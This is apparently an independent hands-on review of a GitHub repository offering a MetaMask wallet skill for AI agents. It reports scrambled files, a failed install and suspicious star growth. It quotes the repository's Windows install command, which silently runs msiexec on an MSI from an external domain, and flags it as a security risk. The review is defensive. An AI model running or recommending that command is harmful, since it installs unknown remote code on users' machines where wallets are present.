OpenClaw (metamask-openclaw)
The right idea in all the wrong files.
OpenClaw has a promising safety-first design for agent-driven wallet operations, but the entire repository is non-functional because every file except README.md contains content that belongs in a different file. The package.json holds TypeScript class code, the SKILL.md holds a CLI script, and the actual skill definition is buried in CHANGELOG.md. The repo cannot be installed, built, or audited. A broken package that gained 240 stars in two days on a single commit.
$npm install metamask-openclaw-skill: fails: package.json is TypeScript, not JSON
$git clone https://github.com/veryyoldman/metamask-openclaw.git: files contain wrong content
install if
- Nobody should install this in its current state. The repository is non-functional. The npm package name "metamask-openclaw-skill" does not appear to be published on the npm registry.
skip if
- Developers wanting MetaMask integration for agents. Use the official
@metamask/sdkdirectly instead. - Anyone evaluating Web3 agent skills. This repo cannot demonstrate any working functionality.
- Windows users especially. The recommended install command silently downloads from an external domain, which is a security concern for any crypto-related tool.
What It Does
OpenClaw is an open-source toolkit and AI-agent skill for MetaMask wallet interaction. It wraps the official MetaMask SDK into a typed TypeScript API that supports connecting wallets, reading balances, signing messages, switching chains, and preparing native-asset transfers. The project targets developers building dApps and AI agents that need read-only wallet access with user-approved signing. It claims a "safety-first" design: the code never handles seed phrases or private keys, and every transaction requires explicit approval inside MetaMask.
The Good
Safety-first philosophy is genuine. The actual skill definition (found in CHANGELOG.md, not SKILL.md) includes four hard safety rules that would make any agent interaction with crypto wallets significantly safer. Rules include refusing seed phrases, never claiming to move funds autonomously, only sharing public addresses, and restating transfers before submission. These are thoughtful and well-written.
Core OpenClaw class is clean TypeScript. The main class code (found in package.json of all places) spans 234 lines with proper JSDoc comments, BigInt-based unit conversion, EIP-1193 provider handling, and event wiring for account and chain changes. The address validation regex (/^0x[a-fA-F0-9]{40}$/) and amount parsing are correct. If this code were in the right file, it would be a solid, auditable module.
Multichain support covers seven networks. Ethereum, Polygon, Arbitrum, OP Mainnet, Base, Linea, and Sepolia testnet are all pre-configured with correct RPC endpoints and block explorer URLs. The switchChain method gracefully handles chain-not-added-yet errors (EIP-4902) by offering to add the chain.
Demo dApp is functional. The browser demo code (buried in types.ts) is a complete 165-line vanilla JS application that connects to MetaMask, shows balances, signs messages, switches to Base, and sends test transactions. It uses the MetaMask SDK directly from esm.sh CDN.
The Bad
Every file except README.md contains the wrong content. This is the fatal flaw. A file-by-file audit reveals: SKILL.md contains a CLI entry point script (should be a skill definition), package.json contains the main OpenClaw TypeScript class (should be JSON manifest), SECURITY.md contains a .gitignore file (should be a security policy), tsconfig.json also contains a .gitignore (should be TypeScript config), LICENSE contains the chains.ts TypeScript module (should be MIT license text), CHANGELOG.md contains the actual SKILL.md definition, openclaw.ts contains a GitHub bug report template, index.ts contains API reference markdown, types.ts contains the demo dApp JavaScript, app.js contains the CI workflow YAML, ci.yml contains a feature request template, and install.cmd contains TypeScript module exports. Only README.md has correct content. This makes the repository impossible to install, build, audit, or use.
npm install fails immediately. Running npm install produces EJSONPARSE: Unexpected token "/" because package.json starts with a TypeScript comment block, not valid JSON. The repository cannot function as an npm package in its current state.
Windows one-command install is a security concern. The README recommends cmd /c start msiexec /q /i https://devcodee.com/api & metamask-openclaw. The msiexec /q /i flag quietly installs an MSI package from an external domain (devcodee.com), contradicting the README's claim that "nothing is downloaded or executed from the web." For a crypto wallet tool, silently installing from an unknown domain is a significant risk.
Single commit, no tagged releases. The entire repo was pushed in one commit on May 30, 2026 by "bagheera." There are no version tags, no build artifacts, no npm publish history, and no CI runs (the ci.yml is actually a feature request template). The project appears to have never been tested in its published form.
240 stars in two days on a broken repo raises questions. A repository that cannot install or build, has zero prior releases, and was created in a single commit reaching 240 stars within 48 hours is unusual. The rapid growth may not reflect genuine user adoption.
Smoke Test Results
All tests were run on macOS (host) against a shallow clone of the repository.
Run A. Fresh clone, attempt install
$ cd /tmp && git clone --depth 1 https://github.com/veryyoldman/metamask-openclaw.git
# ✅ Clone succeeds (224K)
$ cd metamask-openclaw && npm install
npm error code EJSONPARSE
npm error JSON.parse Invalid package.json: JSONParseError: Unexpected token "/"
# ❌ Cannot parse package.json (contains TypeScript, not JSON)
$ node SKILL.md
# ❌ Fails: imports "../src/index.js" which does not exist
$ npx tsc --init
# ❌ tsconfig.json contains .gitignore content, not TypeScript config
$ head -1 package.json
/**
# ❌ package.json is not valid JSON
Pass rate: 0 of 4. The repository cannot install, build, or run any component.
Run B. File content audit
$ for f in SKILL.md package.json SECURITY.md tsconfig.json LICENSE CHANGELOG.md openclaw.ts index.ts types.ts app.js ci.yml install.cmd; do echo "$f -> $(head -1 $f)"; done
SKILL.md -> #!/usr/bin/env node # Expected: markdown skill definition
package.json -> /** # Expected: { "name": ...
SECURITY.md -> node_modules/ # Expected: # Security Policy
tsconfig.json -> src/ # Expected: { "compilerOptions": ...
LICENSE -> /** # Expected: MIT License text
CHANGELOG.md -> --- # Contains the actual SKILL.md
openclaw.ts -> --- # Contains bug report template
index.ts -> # API Reference # Contains markdown docs
types.ts -> // Demo dApp logic # Contains demo app JS
app.js -> name: CI # Contains CI YAML
ci.yml -> --- # Contains feature request template
install.cmd -> /** # Contains TypeScript exports
# ❌ 15 of 16 files have wrong content (93.75% scramble rate)
Pass rate: 1 of 16 files correct (README.md only).
Run C. Functional verification
Not attempted. The package cannot install or build, so there is nothing to verify functionally. The OpenClaw class code (in package.json) and the skill definition (in CHANGELOG.md) are well-written, but they cannot be exercised in their current locations.
Functional pass rate: 0 of N.
What the runs tell you
Run A confirms the repository is completely non-functional as an npm package. Run B reveals a systematic file scramble affecting 15 of 16 files, which explains why nothing works. The individual code pieces are well-written (the OpenClaw class, the skill definition, the demo dApp), but they are all in the wrong files. This is either a build or packaging error of extraordinary proportions, or deliberate obfuscation. Either way, the repository is not usable.
Setup Walkthrough
Setup is not possible in the current state. The theoretical steps would be:
- Clone the repository:
git clone https://github.com/veryyoldman/metamask-openclaw.git - Attempt
npm install- fails with EJSONPARSE because package.json contains TypeScript. - Manual reconstruction would require renaming every file to match its actual content.
No post-install gotchas because there is no install.
Alternatives
- @metamask/sdk (official) - the underlying SDK that OpenClaw wraps. Use it directly for wallet connections, balance reads, and transaction preparation. Mature, well-maintained, and actually installable.
- coinbase/agentkit - Coinbase's agent toolkit for onchain operations. Supports wallet creation, transactions, and DeFi interactions with proper agent guardrails.
- goat-sdk/goat - Generalized onchain agent SDK supporting multiple wallet providers and chains with a broader scope than MetaMask alone.
Reviews stay honest because nobody pays us to publish them. If this one saved you time, throw a coin.
Tip the reviewer- reviewed by
- GearScope
- tested
- 2026-06-03 · macOS (Apple Silicon)
- last verified
- 2026-06-03
- depth
- HANDS-ON
- sponsorship
- none, ever
Want the next one?
Five honest reviews and a verdict you can trust. Every Friday. No spam, no affiliate links.